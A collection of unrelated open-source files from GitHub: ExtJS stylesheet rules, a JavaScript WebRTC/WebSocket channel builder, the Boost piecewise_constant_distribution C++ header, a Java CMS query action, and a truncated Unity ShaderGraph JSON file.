.x-progress-text-back{line-height:15px;} .x-window-dlg .x-window-body{border:0 none!important;padding:5px 10px;overflow:hidden!important;} .x-window-dlg .x-window-mc{border:0 none!important;} .x-window-dlg .ext-mb-text,.x-window-dlg .x-window-header-text{font-size:12px;} .x-window-dlg .ext-mb-input{margin-top:4px;width:95%;} .x-window-dlg .ext-mb-textarea{margin-top:4px;font:normal 12px tahoma,arial,helvetica,sans-serif;} .x-window-dlg .x-progress-wrap{margin-top:4px;} .ext-ie .x-window-dlg .x-progress-wrap{margin-top:6px;} .x-window-dlg .x-msg-box-wait{background:transparent url(../images/default/grid/loading.gif) no-repeat left;display:block;width:300px;padding-left:18px;line-height:18px;} .x-window-dlg .ext-mb-icon{float:left;width:47px;height:32px;} .x-window-dlg .ext-mb-icon{float:left;width:47px;height:32px;} .ext-ie .x-window-dlg .ext-mb-icon{width:44px;} .x-window-dlg .ext-mb-info{background:transparent url(../images/default/window/icon-info.gif) no-repeat top left;} .x-window-dlg .ext-mb-warning{background:transparent url(../images/default/window/icon-warning.gif) no-repeat top left;} .x-window-dlg .ext-mb-question{background:transparent url(../images/default/window/icon-question.gif) no-repeat top left;} .x-window-dlg .ext-mb-error{background:transparent url(../images/default/window/icon-error.gif) no-repeat top left;} .ext-gecko2 .ext-mb-fix-cursor{overflow:auto;} .x-slider{zoom:1;} .x-slider-inner{position:relative;left:0;top:0;overflow:visible;zoom:1;} .x-slider-focus{position:absolute;left:0;top:0;width:1px;height:1px;line-height:1px;font-size:1px;-moz-outline:0 none;outline:0 none;-moz-user-select:text;-khtml-user-select:text;} .x-slider-horz{padding-left:7px;background:transparent url(../images/default/slider/slider-bg.png) no-repeat 0 -22px;} .x-slider-horz .x-slider-end{padding-right:7px;zoom:1;background:transparent url(../images/default/slider/slider-bg.png) no-repeat right -44px;} .x-slider-horz .x-slider-inner{background:transparent url(../images/default/slider/slider-bg.png) repeat-x 0 0;height:22px;} .x-slider-horz .x-slider-thumb{width:14px;height:15px;position:absolute;left:0;top:3px;background:transparent url(../images/default/slider/slider-thumb.png) no-repeat 0 0;} .x-slider-horz .x-slider-thumb-over{background-position:-14px -15px;} .x-slider-horz .x-slider-thumb-drag{background-position:-28px -30px;} .x-slider-vert{padding-top:7px;background:transparent url(../images/default/slider/slider-v-bg.png) no-repeat -44px 0;width:22px;} .x-slider-vert .x-slider-end{padding-bottom:7px;zoom:1;background:transparent url(../images/default/slider/slider-v-bg.png) no-repeat -22px bottom;} .x-slider-vert .x-slider-inner{background:transparent url(../images/default/slider/slider-v-bg.png) repeat-y 0 0;} .x-slider-vert .x-slider-thumb{width:15px;height:14px;position:absolute;left:3px;bottom:0;background:transparent url(../images/default/slider/slider-v-thumb.png) no-repeat 0 0;} .x-slider-vert .x-slider-thumb-over{background-position:-15px -14px;} .x-slider-vert .x-slider-thumb-drag{background-position:-30px -28px;}
{ "pile_set_name": "Github" }
import { merge, Subject } from 'rxjs'; import { Channel } from '../../Channel'; import { isWebRTCSupported, isWebSocketSupported, log } from '../../misc/util'; import { channelBuilder as proto } from '../../proto/index'; import { CONNECT_TIMEOUT as WEBSOCKET_TIMEOUT, WebSocketBuilder } from '../../WebSocketBuilder'; import { CONNECT_TIMEOUT as DATACHANNEL_TIMEOUT, DataChannelBuilder, } from '../dataChannelBuilder/DataChannelBuilder'; import { Service } from '../Service'; import { ConnectionError } from './ConnectionError'; import { ConnectionsInProgress } from './ConnectionsInProgress'; // Timeout constants const CONNECT_TIMEOUT = Math.max(DATACHANNEL_TIMEOUT, WEBSOCKET_TIMEOUT) + 5000; const RESPONSE_TIMEOUT = 2000; /** * It is responsible to build a channel between two peers with a help of `WebSocketBuilder` and `DataChannelBuilder`. * Its algorithm determine which channel (socket or dataChannel) should be created * based on the services availability and peers' preferences. */ export class ChannelBuilder extends Service { constructor(wc) { super(ChannelBuilder.SERVICE_ID, proto.Message); this.wc = wc; this.allStreams = super.useAllStreams(wc, wc.signaling); this.connectsInProgress = new ConnectionsInProgress(); this.channelsSubject = new Subject(); this.onConnectionRequest = () => true; this.dataChannelBuilder = new DataChannelBuilder(this.wc, this.wc.rtcConfiguration); this.myInfo = { wsTried: false, wsSupported: isWebSocketSupported(), dcTried: false, dcSupported: isWebRTCSupported(), }; // Encode messages beforehand for optimization this.negotiationEncoded = super.encode({ negotiation: { initiator: this.myInfo } }); if (!ChannelBuilder.connectResTrueEncoded && !ChannelBuilder.connectResFalseEncoded) { ChannelBuilder.connectResTrueEncoded = super.encode({ connectionResponse: true }); ChannelBuilder.connectResFalseEncoded = super.encode({ connectionResponse: false }); } // Subscribe to WebChannel and Signalings streams this.allStreams.message.subscribe(({ streamId, senderId, recipientId, msg }) => { this.handleMessage(streamId, senderId, recipientId, msg); }); // Subscribe to channels from WebSocket and WebRTC builders this.subscribeToChannels(); // Subscribe to WebSocket server listen url changes and WebChannel id change this.subscribeToURLandIDChange(); } clean() { log.channelBuilder('CLEAN call'); this.dataChannelBuilder.clean(); this.connectsInProgress.clean(); } get onChannel() { return this.channelsSubject.asObservable(); } async connectOverWebChannel(id, cb = () => { }, data = new Uint8Array()) { return this.connectOver(this.wc.STREAM_ID, id, cb, data); } async connectOverSignaling(cb = () => { }, data = new Uint8Array()) { return this.connectOver(this.wc.signaling.STREAM_ID, 0, cb, data); } async connectOver(streamId, id, cb, data) { let connection = this.connectsInProgress.get(id); if (!connection) { this.allStreams.sendOver(streamId, { connectionRequest: data }, id, this.wc.myId); connection = this.connectsInProgress.create(id, CONNECT_TIMEOUT, RESPONSE_TIMEOUT, () => this.dataChannelBuilder.clean(id)); await connection.promise; cb(); return connection.promise; } else { throw new Error(ConnectionError.IN_PROGRESS); } } handleMessage(streamId, senderId, recipientId, msg) { switch (msg.type) { case 'connectionRequest': { log.channelBuilder('connection Request from ', senderId); let connection = this.connectsInProgress.get(senderId); if (connection) { if (senderId < this.wc.myId) { connection.reject(new Error(ConnectionError.IN_PROGRESS)); } else { return; } } if (this.onConnectionRequest(streamId, msg.connectionRequest)) { connection = this.connectsInProgress.create(senderId, CONNECT_TIMEOUT, RESPONSE_TIMEOUT, () => this.dataChannelBuilder.clean(senderId)); connection.resolve(); log.channelBuilder('connection Response POSITIVE to ', senderId); this.allStreams.sendOver(streamId, ChannelBuilder.connectResTrueEncoded, senderId, recipientId); } else { log.channelBuilder('connection Response NEGATIVE to ', senderId); this.allStreams.sendOver(streamId, ChannelBuilder.connectResFalseEncoded, senderId, recipientId); } break; } case 'connectionResponse': { log.channelBuilder('connection Response from ', senderId); const connection = this.connectsInProgress.get(senderId); if (connection) { if (msg.connectionResponse) { connection.resolve(); log.channelBuilder('Send first negotiation message to ', senderId); this.allStreams.sendOver(streamId, this.negotiationEncoded, senderId, recipientId); } else { connection.reject(new Error(ConnectionError.DENIED)); } } break; } case 'negotiation': { if (this.connectsInProgress.has(streamId, senderId)) { const neg = msg.negotiation; const initiator = neg.initiator; let passive = neg.passive; if (!passive) { // This is the first message sent by the initiator initiator.id = senderId; passive = { ...this.myInfo }; passive.id = recipientId; } log.channelBuilder(`NEGOTIATION message to proceed from ${senderId}: `, JSON.stringify({ isIamInitiatore: passive.id === senderId, passive, initiator, senderId, recipientId, })); if (this.isNagotiable(initiator, passive)) { this.proceedNegotiation(streamId, initiator, passive, passive.id === senderId).catch((err) => { this.rejectConnection(streamId, senderId, err); log.channelBuilder(`NEGOTIATION with ${senderId} FIALED: `, { passive, initiator }); this.allStreams.sendOver(streamId, { negotiation: { initiator, passive } }, senderId, recipientId); }); } else { this.rejectConnection(streamId, senderId, new Error(ConnectionError.NEGOTIATION_ERROR)); } } break; } } } async proceedNegotiation(streamId, initiator, passive, amIInitiator) { const [me, theOther] = amIInitiator ? [initiator, passive] : [passive, initiator]; // Try to connect over WebSocket if (theOther.wss && !me.wsTried && (await this.tryWs(streamId, me, theOther, amIInitiator))) { return; } // Prompt the other peer to connect over WebSocket as I was not able if (me.wss && !theOther.wsTried) { log.channelBuilder(`Prompt the other to connect over WebSocket`); this.allStreams.sendOver(streamId, { negotiation: { initiator, passive } }, theOther.id, me.id); return; } // Try to connect over RTCDataChannel, because no luck with WebSocket if (me.dcSupported && theOther.dcSupported) { if (!me.dcTried && (await this.tryDc(streamId, me, theOther, amIInitiator))) { return; } // Prompt the other peer to connect over RTCDataChannel as I was not able if (!theOther.dcTried) { log.channelBuilder(`Prompt the other to connect over RTCDataChannel`); this.allStreams.sendOver(streamId, { negotiation: { initiator, passive } }, theOther.id, me.id); return; } } // All connection possibilities have been tried and none of them worked throw new Error(ConnectionError.NEGOTIATION_ERROR); } async tryWs(streamId, me, theOther, amIInitiator) { try { const type = this.getType(streamId, amIInitiator); const wcId = type === Channel.WITH_MEMBER ? theOther.wcId : this.wc.myId; await this.wc.webSocketBuilder.connect(theOther.wss, type, theOther.id, me.id, wcId); log.channelBuilder(`New WebSocket connection with ${theOther.id}`); return true; } catch (err) { if (err.message !== 'clean') { log.channelBuilder(`WebSocket failed with ${theOther.id}`, err); me.wsTried = true; return false; } else { return true; } } } async tryDc(streamId, me, theOther, amIInitiator) { try { const type = this.getType(streamId, amIInitiator); await this.dataChannelBuilder.connect(theOther.id, me.id, type); log.channelBuilder(`New RTCDataChannel with ${theOther.id}`); return true; } catch (err) { if (err.message !== 'clean') { log.channelBuilder(`RTCDataChannel failed with ${theOther.id}`, err); me.dcTried = true; return false; } else { return true; } } } getType(streamId, amIInitiator) { if (streamId === this.wc.STREAM_ID) { return Channel.WITH_INTERNAL; } return amIInitiator ? Channel.WITH_MEMBER : Channel.WITH_JOINING; } isNagotiable(peerInfo1, peerInfo2) { return ((peerInfo1.wss && !peerInfo2.wsTried) || (peerInfo2.wss && !peerInfo1.wsTried) || (peerInfo1.dcSupported && peerInfo2.dcSupported && (!peerInfo1.dcTried || !peerInfo2.dcTried))); } subscribeToChannels() { merge(this.dataChannelBuilder.channels, this.wc.webSocketBuilder.channels).subscribe(({ id, channel }) => { channel.init.then(() => { log.channelBuilder('NEW Channel from ', JSON.stringify({ type: channel.type, id })); const connection = this.connectsInProgress.get(id); if (connection) { log.channelBuilder('RESOLVE this NEW Channel'); connection.resolve(); } else { log.channelBuilder('this NEW Channel NOT FOUND'); } this.channelsSubject.next(channel); }); }); } subscribeToURLandIDChange() { WebSocketBuilder.listenUrl.subscribe((url) => { if (url) { this.myInfo.wss = url; this.negotiationEncoded = super.encode({ negotiation: { initiator: this.myInfo } }); } }); this.wc.onIdChange.subscribe((id) => { this.myInfo.wcId = this.wc.id; this.negotiationEncoded = super.encode({ negotiation: { initiator: this.myInfo } }); }); } rejectConnection(streamId, senderId, err) { const connection = this.connectsInProgress.get(senderId); if (connection) { connection.reject(err); } } } ChannelBuilder.SERVICE_ID = 74;
{ "pile_set_name": "Github" }
/* boost random/piecewise_constant_distribution.hpp header file * * Copyright Steven Watanabe 2011 * Distributed under the Boost Software License, Version 1.0. (See * accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) * * See http://www.boost.org for most recent version including documentation. * * $Id: piecewise_constant_distribution.hpp 85813 2013-09-21 20:17:00Z jewillco $ */ #ifndef BOOST_RANDOM_PIECEWISE_CONSTANT_DISTRIBUTION_HPP_INCLUDED #define BOOST_RANDOM_PIECEWISE_CONSTANT_DISTRIBUTION_HPP_INCLUDED #include <vector> #include <numeric> #include <boost/assert.hpp> #include <boost/random/uniform_real.hpp> #include <boost/random/discrete_distribution.hpp> #include <boost/random/detail/config.hpp> #include <boost/random/detail/operators.hpp> #include <boost/random/detail/vector_io.hpp> #ifndef BOOST_NO_CXX11_HDR_INITIALIZER_LIST #include <initializer_list> #endif #include <boost/range/begin.hpp> #include <boost/range/end.hpp> namespace boost { namespace random { /** * The class @c piecewise_constant_distribution models a \random_distribution. */ template<class RealType = double, class WeightType = double> class piecewise_constant_distribution { public: typedef std::size_t input_type; typedef RealType result_type; class param_type { public: typedef piecewise_constant_distribution distribution_type; /** * Constructs a @c param_type object, representing a distribution * that produces values uniformly distributed in the range [0, 1). */ param_type() { _weights.push_back(WeightType(1)); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); } /** * Constructs a @c param_type object from two iterator ranges * containing the interval boundaries and the interval weights. * If there are less than two boundaries, then this is equivalent to * the default constructor and creates a single interval, [0, 1). * * The values of the interval boundaries must be strictly * increasing, and the number of weights must be one less than * the number of interval boundaries. If there are extra * weights, they are ignored. */ template<class IntervalIter, class WeightIter> param_type(IntervalIter intervals_first, IntervalIter intervals_last, WeightIter weight_first) : _intervals(intervals_first, intervals_last) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); _weights.push_back(WeightType(1)); } else { _weights.reserve(_intervals.size() - 1); for(std::size_t i = 0; i < _intervals.size() - 1; ++i) { _weights.push_back(*weight_first++); } } } #ifndef BOOST_NO_CXX11_HDR_INITIALIZER_LIST /** * Constructs a @c param_type object from an * initializer_list containing the interval boundaries * and a unary function specifying the weights. Each * weight is determined by calling the function at the * midpoint of the corresponding interval. * * If the initializer_list contains less than two elements, * this is equivalent to the default constructor and the * distribution will produce values uniformly distributed * in the range [0, 1). */ template<class T, class F> param_type(const std::initializer_list<T>& il, F f) : _intervals(il.begin(), il.end()) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); _weights.push_back(WeightType(1)); } else { _weights.reserve(_intervals.size() - 1); for(std::size_t i = 0; i < _intervals.size() - 1; ++i) { RealType midpoint = (_intervals[i] + _intervals[i + 1]) / 2; _weights.push_back(f(midpoint)); } } } #endif /** * Constructs a @c param_type object from Boost.Range * ranges holding the interval boundaries and the weights. If * there are less than two interval boundaries, this is equivalent * to the default constructor and the distribution will produce * values uniformly distributed in the range [0, 1). The * number of weights must be one less than the number of * interval boundaries. */ template<class IntervalRange, class WeightRange> param_type(const IntervalRange& intervals_arg, const WeightRange& weights_arg) : _intervals(boost::begin(intervals_arg), boost::end(intervals_arg)), _weights(boost::begin(weights_arg), boost::end(weights_arg)) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); _weights.push_back(WeightType(1)); } } /** * Constructs the parameters for a distribution that approximates a * function. The range of the distribution is [xmin, xmax). This * range is divided into nw equally sized intervals and the weights * are found by calling the unary function f on the midpoints of the * intervals. */ template<class F> param_type(std::size_t nw, RealType xmin, RealType xmax, F f) { std::size_t n = (nw == 0) ? 1 : nw; double delta = (xmax - xmin) / n; BOOST_ASSERT(delta > 0); for(std::size_t k = 0; k < n; ++k) { _weights.push_back(f(xmin + k*delta + delta/2)); _intervals.push_back(xmin + k*delta); } _intervals.push_back(xmax); } /** Returns a vector containing the interval boundaries. */ std::vector<RealType> intervals() const { return _intervals; } /** * Returns a vector containing the probability densities * over all the intervals of the distribution. */ std::vector<RealType> densities() const { RealType sum = std::accumulate(_weights.begin(), _weights.end(), static_cast<RealType>(0)); std::vector<RealType> result; result.reserve(_weights.size()); for(std::size_t i = 0; i < _weights.size(); ++i) { RealType width = _intervals[i + 1] - _intervals[i]; result.push_back(_weights[i] / (sum * width)); } return result; } /** Writes the parameters to a @c std::ostream. */ BOOST_RANDOM_DETAIL_OSTREAM_OPERATOR(os, param_type, parm) { detail::print_vector(os, parm._intervals); detail::print_vector(os, parm._weights); return os; } /** Reads the parameters from a @c std::istream. */ BOOST_RANDOM_DETAIL_ISTREAM_OPERATOR(is, param_type, parm) { std::vector<RealType> new_intervals; std::vector<WeightType> new_weights; detail::read_vector(is, new_intervals); detail::read_vector(is, new_weights); if(is) { parm._intervals.swap(new_intervals); parm._weights.swap(new_weights); } return is; } /** Returns true if the two sets of parameters are the same. */ BOOST_RANDOM_DETAIL_EQUALITY_OPERATOR(param_type, lhs, rhs) { return lhs._intervals == rhs._intervals && lhs._weights == rhs._weights; } /** Returns true if the two sets of parameters are different. */ BOOST_RANDOM_DETAIL_INEQUALITY_OPERATOR(param_type) private: friend class piecewise_constant_distribution; std::vector<RealType> _intervals; std::vector<WeightType> _weights; }; /** * Creates a new @c piecewise_constant_distribution with * a single interval, [0, 1). */ piecewise_constant_distribution() { _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); } /** * Constructs a piecewise_constant_distribution from two iterator ranges * containing the interval boundaries and the interval weights. * If there are less than two boundaries, then this is equivalent to * the default constructor and creates a single interval, [0, 1). * * The values of the interval boundaries must be strictly * increasing, and the number of weights must be one less than * the number of interval boundaries. If there are extra * weights, they are ignored. * * For example, * * @code * double intervals[] = { 0.0, 1.0, 4.0 }; * double weights[] = { 1.0, 1.0 }; * piecewise_constant_distribution<> dist( * &intervals[0], &intervals[0] + 3, &weights[0]); * @endcode * * The distribution has a 50% chance of producing a * value between 0 and 1 and a 50% chance of producing * a value between 1 and 4. */ template<class IntervalIter, class WeightIter> piecewise_constant_distribution(IntervalIter first_interval, IntervalIter last_interval, WeightIter first_weight) : _intervals(first_interval, last_interval) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); } else { std::vector<WeightType> actual_weights; actual_weights.reserve(_intervals.size() - 1); for(std::size_t i = 0; i < _intervals.size() - 1; ++i) { actual_weights.push_back(*first_weight++); } typedef discrete_distribution<std::size_t, WeightType> bins_type; typename bins_type::param_type bins_param(actual_weights); _bins.param(bins_param); } } #ifndef BOOST_NO_CXX11_HDR_INITIALIZER_LIST /** * Constructs a piecewise_constant_distribution from an * initializer_list containing the interval boundaries * and a unary function specifying the weights. Each * weight is determined by calling the function at the * midpoint of the corresponding interval. * * If the initializer_list contains less than two elements, * this is equivalent to the default constructor and the * distribution will produce values uniformly distributed * in the range [0, 1). */ template<class T, class F> piecewise_constant_distribution(std::initializer_list<T> il, F f) : _intervals(il.begin(), il.end()) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); } else { std::vector<WeightType> actual_weights; actual_weights.reserve(_intervals.size() - 1); for(std::size_t i = 0; i < _intervals.size() - 1; ++i) { RealType midpoint = (_intervals[i] + _intervals[i + 1]) / 2; actual_weights.push_back(f(midpoint)); } typedef discrete_distribution<std::size_t, WeightType> bins_type; typename bins_type::param_type bins_param(actual_weights); _bins.param(bins_param); } } #endif /** * Constructs a piecewise_constant_distribution from Boost.Range * ranges holding the interval boundaries and the weights. If * there are less than two interval boundaries, this is equivalent * to the default constructor and the distribution will produce * values uniformly distributed in the range [0, 1). The * number of weights must be one less than the number of * interval boundaries. */ template<class IntervalsRange, class WeightsRange> piecewise_constant_distribution(const IntervalsRange& intervals_arg, const WeightsRange& weights_arg) : _bins(weights_arg), _intervals(boost::begin(intervals_arg), boost::end(intervals_arg)) { if(_intervals.size() < 2) { _intervals.clear(); _intervals.push_back(RealType(0)); _intervals.push_back(RealType(1)); } } /** * Constructs a piecewise_constant_distribution that approximates a * function. The range of the distribution is [xmin, xmax). This * range is divided into nw equally sized intervals and the weights * are found by calling the unary function f on the midpoints of the * intervals. */ template<class F> piecewise_constant_distribution(std::size_t nw, RealType xmin, RealType xmax, F f) : _bins(nw, xmin, xmax, f) { if(nw == 0) { nw = 1; } RealType delta = (xmax - xmin) / nw; _intervals.reserve(nw + 1); for(std::size_t i = 0; i < nw; ++i) { _intervals.push_back(xmin + i * delta); } _intervals.push_back(xmax); } /** * Constructs a piecewise_constant_distribution from its parameters. */ explicit piecewise_constant_distribution(const param_type& parm) : _bins(parm._weights), _intervals(parm._intervals) { } /** * Returns a value distributed according to the parameters of the * piecewist_constant_distribution. */ template<class URNG> RealType operator()(URNG& urng) const { std::size_t i = _bins(urng); return uniform_real<RealType>(_intervals[i], _intervals[i+1])(urng); } /** * Returns a value distributed according to the parameters * specified by param. */ template<class URNG> RealType operator()(URNG& urng, const param_type& parm) const { return piecewise_constant_distribution(parm)(urng); } /** Returns the smallest value that the distribution can produce. */ result_type min BOOST_PREVENT_MACRO_SUBSTITUTION () const { return _intervals.front(); } /** Returns the largest value that the distribution can produce. */ result_type max BOOST_PREVENT_MACRO_SUBSTITUTION () const { return _intervals.back(); } /** * Returns a vector containing the probability density * over each interval. */ std::vector<RealType> densities() const { std::vector<RealType> result(_bins.probabilities()); for(std::size_t i = 0; i < result.size(); ++i) { result[i] /= (_intervals[i+1] - _intervals[i]); } return(result); } /** Returns a vector containing the interval boundaries. */ std::vector<RealType> intervals() const { return _intervals; } /** Returns the parameters of the distribution. */ param_type param() const { return param_type(_intervals, _bins.probabilities()); } /** Sets the parameters of the distribution. */ void param(const param_type& parm) { std::vector<RealType> new_intervals(parm._intervals); typedef discrete_distribution<std::size_t, RealType> bins_type; typename bins_type::param_type bins_param(parm._weights); _bins.param(bins_param); _intervals.swap(new_intervals); } /** * Effects: Subsequent uses of the distribution do not depend * on values produced by any engine prior to invoking reset. */ void reset() { _bins.reset(); } /** Writes a distribution to a @c std::ostream. */ BOOST_RANDOM_DETAIL_OSTREAM_OPERATOR( os, piecewise_constant_distribution, pcd) { os << pcd.param(); return os; } /** Reads a distribution from a @c std::istream */ BOOST_RANDOM_DETAIL_ISTREAM_OPERATOR( is, piecewise_constant_distribution, pcd) { param_type parm; if(is >> parm) { pcd.param(parm); } return is; } /** * Returns true if the two distributions will return the * same sequence of values, when passed equal generators. */ BOOST_RANDOM_DETAIL_EQUALITY_OPERATOR( piecewise_constant_distribution, lhs, rhs) { return lhs._bins == rhs._bins && lhs._intervals == rhs._intervals; } /** * Returns true if the two distributions may return different * sequences of values, when passed equal generators. */ BOOST_RANDOM_DETAIL_INEQUALITY_OPERATOR(piecewise_constant_distribution) private: discrete_distribution<std::size_t, WeightType> _bins; std::vector<RealType> _intervals; }; } } #endif
{ "pile_set_name": "Github" }
package com.x.cms.assemble.control.jaxrs.document; import java.util.ArrayList; import java.util.List; import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang3.StringUtils; import com.x.base.core.entity.JpaObject; import com.x.base.core.project.bean.WrapCopier; import com.x.base.core.project.bean.WrapCopierFactory; import com.x.base.core.project.http.ActionResult; import com.x.base.core.project.http.EffectivePerson; import com.x.base.core.project.logger.Logger; import com.x.base.core.project.logger.LoggerFactory; import com.x.cms.core.entity.DocumentViewRecord; public class ActionQueryListViewRecordByPerson extends BaseAction { private static Logger logger = LoggerFactory.getLogger( ActionQueryListViewRecordByPerson.class ); protected ActionResult<List<Wo>> execute( HttpServletRequest request, EffectivePerson effectivePerson, String name ) throws Exception { ActionResult<List<Wo>> result = new ActionResult<>(); List<Wo> wraps = null; List<String> ids = null; List<DocumentViewRecord> documentViewRecordList = null; Boolean check = true; if( check ){ if( StringUtils.isEmpty(name) ){ check = false; Exception exception = new ExceptionPersonNameEmpty(); result.error( exception ); } } if( check ){ try { ids = documentViewRecordServiceAdv.listByPerson( name, 100 ); } catch (Exception e) { check = false; Exception exception = new ExceptionServiceLogic( e,"系统在根据人员姓名查询文档访问信息列表时发生异常。Name:" + name ); result.error( exception ); logger.error( e, effectivePerson, request, null); } } if( check ){ if( ids != null && !ids.isEmpty() ){ try { documentViewRecordList = documentViewRecordServiceAdv.list(ids); } catch (Exception e) { check = false; Exception exception = new ExceptionServiceLogic( e,"系统在根据访问记录ID列表查询访问记录信息列表时发生异常。" ); result.error( exception ); logger.error( e, effectivePerson, request, null); } } } if( check ){ if( documentViewRecordList != null && !documentViewRecordList.isEmpty() ){ try { wraps = Wo.copier.copy( documentViewRecordList ); result.setCount( Long.parseLong( wraps.size() + "" ) ); result.setData( wraps ); } catch (Exception e) { check = false; Exception exception = new ExceptionServiceLogic( e,"系统将查询结果转换为可输出的数据信息时发生异常。" ); result.error( exception ); logger.error( e, effectivePerson, request, null); } } } return result; } public static class Wo extends DocumentViewRecord{ private static final long serialVersionUID = -5076990764713538973L; public static List<String> Excludes = new ArrayList<String>(); public static WrapCopier<DocumentViewRecord, Wo> copier = WrapCopierFactory.wo( DocumentViewRecord.class, Wo.class, null, JpaObject.FieldsInvisible); } }
{ "pile_set_name": "Github" }
{ "m_SerializedProperties": [ { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.TextureShaderProperty" }, "JSONnodeData": "{\n \"m_Value\": {\n \"m_SerializedTexture\": \"\",\n \"m_Guid\": \"\"\n },\n \"m_Name\": \"GrabTexture\",\n \"m_GeneratePropertyBlock\": false,\n \"m_Guid\": {\n \"m_GuidSerialized\": \"52d4c8ca-c373-430a-a2f1-bb450090280f\"\n },\n \"m_DefaultReferenceName\": \"\",\n \"m_OverrideReferenceName\": \"_GrabTexture\",\n \"m_Modifiable\": true,\n \"m_DefaultType\": 0\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.BooleanShaderProperty" }, "JSONnodeData": "{\n \"m_Value\": false,\n \"m_Name\": \"Invert Colors\",\n \"m_GeneratePropertyBlock\": true,\n \"m_Guid\": {\n \"m_GuidSerialized\": \"9bb42c1e-f870-4681-9cf0-24f4bb72b434\"\n },\n \"m_DefaultReferenceName\": \"Boolean_69F1731F\",\n \"m_OverrideReferenceName\": \"\"\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.Vector1ShaderProperty" }, "JSONnodeData": "{\n \"m_Value\": 0.0,\n \"m_Name\": \"Vector1\",\n \"m_GeneratePropertyBlock\": true,\n \"m_Guid\": {\n \"m_GuidSerialized\": \"d5963d28-9070-4def-8222-e9e3f06ef79b\"\n },\n \"m_DefaultReferenceName\": \"Vector1_8975C694\",\n \"m_OverrideReferenceName\": \"\",\n \"m_FloatType\": 1,\n \"m_RangeValues\": {\n \"x\": 0.0,\n \"y\": 1.0\n }\n}" } ], "m_GUID": { "m_GuidSerialized": "0936cf92-2c57-459d-8687-a42da6a844a6" }, "m_SerializableNodes": [ { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.OneMinusNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"ae1803d7-6003-4755-b1f1-76791abb9422\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"One Minus\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": 319.5,\n \"y\": 336.8399963378906,\n \"width\": 208.0,\n \"height\": 278.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"In\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"In\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 1.0,\\n \\\"y\\\": 1.0,\\n \\\"z\\\": 1.0,\\n \\\"w\\\": 1.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 1,\\n \\\"m_DisplayName\\\": \\\"Out\\\",\\n \\\"m_SlotType\\\": 1,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Out\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n },\\n \\\"m_DefaultValue\\\": {\\n \\\"x\\\": 0.0,\\n \\\"y\\\": 0.0,\\n \\\"z\\\": 0.0,\\n \\\"w\\\": 0.0\\n }\\n}\"\n }\n ],\n \"m_PreviewExpanded\": true\n}" }, { "typeInfo": { "fullName": "UnityEditor.ShaderGraph.BranchNode" }, "JSONnodeData": "{\n \"m_GuidSerialized\": \"575e25e4-56ae-4493-a726-802f1a735f6d\",\n \"m_GroupGuidSerialized\": \"00000000-0000-0000-0000-000000000000\",\n \"m_Name\": \"Branch\",\n \"m_DrawState\": {\n \"m_Expanded\": true,\n \"m_Position\": {\n \"serializedVersion\": \"2\",\n \"x\": 612.5,\n \"y\": 181.0,\n \"width\": 208.0,\n \"height\": 326.0\n }\n },\n \"m_SerializableSlots\": [\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.BooleanMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 0,\\n \\\"m_DisplayName\\\": \\\"Predicate\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"Predicate\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": false,\\n \\\"m_DefaultValue\\\": false\\n}\"\n },\n {\n \"typeInfo\": {\n \"fullName\": \"UnityEditor.ShaderGraph.DynamicVectorMaterialSlot\"\n },\n \"JSONnodeData\": \"{\\n \\\"m_Id\\\": 1,\\n \\\"m_DisplayName\\\": \\\"True\\\",\\n \\\"m_SlotType\\\": 0,\\n \\\"m_Priority\\\": 2147483647,\\n \\\"m_Hidden\\\": false,\\n \\\"m_ShaderOutputName\\\": \\\"True\\\",\\n \\\"m_StageCapability\\\": 3,\\n \\\"m_Value\\\": {\\n \\\"x\\\": 1.0,\\n \\\"y\\\": 1.0,\\n \\\"z\\\": 1.0,\\n \\\"w\\\": 